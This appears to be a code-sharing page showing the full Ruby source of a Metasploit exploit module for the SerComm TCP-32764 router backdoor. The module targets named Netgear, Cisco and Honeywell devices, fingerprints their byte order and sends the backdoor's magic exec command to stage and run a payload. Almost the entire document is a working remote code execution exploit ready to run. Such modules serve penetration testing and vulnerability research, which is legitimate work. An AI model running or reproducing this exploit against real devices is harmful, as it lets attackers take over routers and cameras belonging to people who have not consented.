Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::CmdStager
11

12
  def initialize(info={})
13
    super(update_info(info,
14
      'Name'           => "SerComm Device Remote Code Execution",
15
      'Description'    => %q{
16
        This module will cause remote code execution on several SerComm devices.
17
        These devices typically include routers from NetGear and Linksys.
18
        This module was tested successfully against several NetGear, Honeywell
19
        and Cisco devices.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
25
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
26
        ],
27
      'Payload'        =>
28
        {
29
          'Space'       => 10000, # Could be more, but this should be good enough
30
          'DisableNops' => true
31
        },
32
      'Platform'       => 'linux',
33
      'Privileged'     => false,
34
      'Targets'        =>
35
        [
36
          ['Generic Linux MIPS Big Endian',
37
            {
38
              'Arch' => ARCH_MIPSBE,
39
              'PackFormat' => 'VVV'
40
            }
41
          ],
42
          ['Generic Linux MIPS Little Endian',
43
            {
44
              'Arch' => ARCH_MIPSLE,
45
              'PackFormat' => 'NNN'
46
            }
47
          ],
48
          ['Manual Linux MIPS Big Endian',
49
            {
50
              'Arch' => ARCH_MIPSBE
51
            }
52
          ],
53
          ['Manual Linux MIPS Little Endian',
54
            {
55
              'Arch' => ARCH_MIPSLE
56
            }
57
          ],
58
          ['Cisco WAP4410N',
59
            {
60
              'Arch' => ARCH_MIPSBE,
61
              'PackFormat' => 'NNN',
62
            }
63
          ],
64
          ['Honeywell WAP-PL2 IP Camera',
65
            {
66
              'Arch' => ARCH_MIPSLE,
67
              'PackFormat' => 'VVV'
68
            }
69
          ],
70
          ['Netgear DG834',
71
            {
72
              'Arch' => ARCH_MIPSBE,
73
              'PackFormat' => 'VVV',
74
              'NoArgs' => true
75
            }
76
          ],
77
          ['Netgear DG834G',
78
            {
79
              'Arch' => ARCH_MIPSLE,
80
              'PackFormat' => 'VVV',
81
              'PayloadEncode' => 'octal'
82
            }
83
          ],
84
          ['Netgear DG834PN',
85
            {
86
              'Arch' => ARCH_MIPSBE,
87
              'PackFormat' => 'VVV',
88
              'NoArgs' => true
89
            }
90
          ],
91
          ['Netgear DGN1000',
92
            {
93
              'Arch' => ARCH_MIPSBE,
94
              'PackFormat' => 'VVV',
95
              'NoArgs' => true
96
            }
97
          ],
98
          ['Netgear DSG835',
99
            {
100
              'Arch' => ARCH_MIPSBE,
101
              'PackFormat' => 'VVV',
102
              'NoArgs' => true,
103
            }
104
          ],
105
          ['Netgear WPNT834',
106
            {
107
              'Arch' => ARCH_MIPSBE,
108
              'PackFormat' => 'NNN',
109
              'UploadPath' => '/var',
110
              'PayloadEncode' => 'octal'
111
            }
112
          ]
113
        ],
114
      'DefaultTarget'  => 0,
115
      'References'     =>
116
        [
117
          [ 'OSVDB', '101653' ],
118
          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
119
        ],
120
      'DisclosureDate' => '2013-12-31' ))
121

122
      register_options(
123
        [
124
          Opt::RPORT(32764)
125
        ])
126

127
      register_advanced_options(
128
        [
129
          OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),
130
          OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),
131
          OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
132
          OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
133
        ])
134
      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
135
  end
136

137
  def check
138
    fprint = endian_fingerprint
139

140
    case fprint
141
    when 'BE'
142
      vprint_status("Detected Big Endian")
143
      return Msf::Exploit::CheckCode::Appears
144
    when 'LE'
145
      vprint_status("Detected Little Endian")
146
      return Msf::Exploit::CheckCode::Appears
147
    end
148

149
    return Msf::Exploit::CheckCode::Safe
150
  end
151

152
  def exploit
153
    if target.name =~ /Manual/
154
      print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
155
      @no_args = datastore['NOARGS']
156
      @upload_path = datastore['UPLOADPATH']
157
      @encoding_format = datastore['ENCODING']
158
      @pack_format = datastore['PACKFORMAT']
159
    else
160
      @no_args = target['NoArgs']
161
      @upload_path = target['UploadPath']
162
      @encoding_format = target['PayloadEncode']
163
      @pack_format = target['PackFormat']
164
    end
165

166
    execute_cmdstager(
167
      :noargs => @no_args,
168
      :temp => @upload_path,
169
      :enc_format => @encoding_format,
170
      :flavor => :echo
171
    )
172
  end
173

174
  def endian_fingerprint
175
    begin
176
      connect
177

178
      sock.put(rand_text(5))
179
      res = sock.get_once
180

181
      disconnect
182

183
      if res && res.start_with?("MMcS")
184
        return 'BE'
185
      elsif res && res.start_with?("ScMM")
186
        return 'LE'
187
      end
188
    rescue Rex::ConnectionError => e
189
      print_error("Connection failed: #{e.class}: #{e}")
190
    end
191

192
    return nil
193
  end
194

195
  def execute_command(cmd, opts)
196
    # Get the length of the command, for the backdoor's command injection
197
    cmd_length = cmd.length
198

199
    # 0x53634d4d  => Backdoor code
200
    # 0x07        => Exec command
201
    # cmd_length  => Length of command to execute, sent after communication struct
202
    data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)
203

204
    connect
205
    # Send command structure followed by command text
206
    sock.put(data+cmd)
207
    disconnect
208

209
    Rex.sleep(1)
210
  end
211
end
212

213